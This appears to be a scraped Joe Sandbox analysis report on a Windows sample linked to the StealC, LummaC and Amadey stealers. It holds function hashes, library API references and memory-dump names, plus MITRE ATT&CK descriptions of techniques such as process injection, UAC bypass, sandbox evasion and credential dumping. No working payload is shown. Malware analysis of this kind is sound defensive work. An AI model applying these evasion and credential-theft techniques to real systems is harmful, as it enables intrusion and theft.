Instruction ID: 94e584c0b3bc47e9fc8ea46e36ecbd7dc7998aed98fee74a1709443343d77a1a
Opcode Fuzzy Hash: d53cc823362d017fe31ffaf48ab2219d759508d00d00d6ecf2ef56123d6a4531
Instruction Fuzzy Hash: 38E08630240158BFCF25BB19F81DE9D7B5AEB51785F41480AFC1846225CB29DEC1C594

Function 0042A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 1c9fbd6e256f667a7478dcae21fd5ab6adeeddc0fdfd7cc5b04edc2f582f247e
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 68E08C32A21238EBCB15DB99E90498AF3ECEB49B08BA5009BF901D3250C674DE00CBD4

Function 00424840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00424877
___except_validate_context_record.LIBVCRUNTIME ref: 0042487F
_ValidateLocalCookies.LIBCMT ref: 00424908
__IsNonwritableInCurrentImage.LIBCMT ref: 00424933
_ValidateLocalCookies.LIBCMT ref: 00424988

Strings

csm, xrefs: 0042491D
S9B, xrefs: 00424925, 0042492E, 0042493F

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9B$csm
API String ID: 1170836740-3994868037
Opcode ID: 1c0d66202ab18c592518b85b3cc34f9f9f6784e2bf8763c3e1868977b722fdc6
Instruction ID: ba01fb1bc4bf22bb04126c3e4fa59701c48f79afb1862c73d2b134180ccca3bf
Opcode Fuzzy Hash: 1c0d66202ab18c592518b85b3cc34f9f9f6784e2bf8763c3e1868977b722fdc6
Instruction Fuzzy Hash: 0B510A74B102289BCF10DF38E8806AF7BB5EF85318F948057E8189B392D77AD945CB95

Function 003F2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 003F2F5F
__Mtx_unlock.LIBCPMT ref: 003F2FCC
__Cnd_broadcast.LIBCPMT ref: 003F2FE3
__Mtx_unlock.LIBCPMT ref: 003F30F5
__Mtx_unlock.LIBCPMT ref: 003F319B

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 8d0db32cb169abec8cd57b38dd2ea1302c04a93a404d0d9d9e6c7faba8efcc3f
Instruction ID: 1fefdb7011b8673599e9469eea755c5a0627b891178884db0123b403e107d504
Opcode Fuzzy Hash: 8d0db32cb169abec8cd57b38dd2ea1302c04a93a404d0d9d9e6c7faba8efcc3f
Instruction Fuzzy Hash: D0A1F17090120ADFDB22DF65C844B6AB7A8FF15314F00467EE916E7681EB39EA04CB91

Function 00407A00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 00407AEC
__Cnd_destroy_in_situ.LIBCPMT ref: 00407AF8
__Mtx_destroy_in_situ.LIBCPMT ref: 00407B01

Strings

d+E, xrefs: 00407A94, 00407AA2, 00407A9A

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: d+E
API String ID: 4078500453-3227120280
Opcode ID: 707f9aec6f36caa07a5145154dc6b9bf205ee665e2a7575f149e82b29fe104ae
Instruction ID: efaa327fea9a78961eec452a1570063ac9dd196b136b1bbd4858eddbb8df50e6
Opcode Fuzzy Hash: 707f9aec6f36caa07a5145154dc6b9bf205ee665e2a7575f149e82b29fe104ae
Instruction Fuzzy Hash: FD31D5B1E043049BD720DFA9D841A5BB7E8EF14314F100A3FE945D3281E779FA5487AA

Function 0042F35F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0042F3A3

Strings

8"E, xrefs: 0042F44B
,mB, xrefs: 0042F367, 0042F49B
`'E, xrefs: 0042F375

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: ,mB$8"E$`'E
API String ID: 3903695350-3025078291
Opcode ID: bdc08652865946f3222721d1d55e11731683807b7561be90880b02e4591420e8
Instruction ID: 877f9b2f0fb0210a8f25c6a93349260fea29eec7d9cf53b6f16092841b6df8d6
Opcode Fuzzy Hash: bdc08652865946f3222721d1d55e11731683807b7561be90880b02e4591420e8
Instruction Fuzzy Hash: 8A316C31700221DFEB30AA3AE845B5B73F6EF10316FD0443BE845D6655DEB8A894CB19

Function 0042CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0042CC66

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 04db1caace15c1b6d4637ce0e868e307b949f46252bd790b9ab25ce05133e109
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: E2B13332A002A59FDB11CF29D8C17AFBBE5EF45340F55416BE845EB342D6389D02CBA8

Function 0040BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0040BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 0040BBE4
_xtime_get.LIBCPMT ref: 0040BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 0040BC13

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: de1673b0dd99730e6460f0d06847d855852b77d07ac18f532f9ace7ec4b5e72a
Instruction ID: 65019b3a305d334bae65f0989856cc4ae3a345ff1adb34c586a56279a2c0e7cb
Opcode Fuzzy Hash: de1673b0dd99730e6460f0d06847d855852b77d07ac18f532f9ace7ec4b5e72a
Instruction Fuzzy Hash: 90213D75A00109AFDF00EFA5CC819BEB7B9EF08714F10056AFA01B72D1DB799D019BA9

Function 003FE360 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 003FE4F9

Strings

L1E, xrefs: 003FE394
invalid stoi argument, xrefs: 003FE4F4

Memory Dump Source

Source File: 00000008.00000002.2931180827.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000008.00000002.2930914773.00000000003F0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2931180827.0000000000452000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932099646.0000000000459000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.000000000045B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000005EA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006CD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.00000000006FC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000704000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2932341163.0000000000712000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2936329160.0000000000713000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937662141.00000000008B6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2937898837.00000000008B8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.2938163865.00000000008B9000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_3f0000_skotes.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: L1E$invalid stoi argument
API String ID: 909987262-4008580058
Opcode ID: 423fa15b25137b5ea7df79968384e870357631a2400b42950acdd71a0b4f2044
Instruction ID: 8c1676f401b5a3dfb47e1299b101cab64809395dbd67246fafc45fdaf6e052b1
Opcode Fuzzy Hash: 423fa15b25137b5ea7df79968384e870357631a2400b42950acdd71a0b4f2044
Instruction Fuzzy Hash: 2EF09C715013149BD3209F799C0696773D8D746716F11483BFE1497153DB74A900C6AB

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

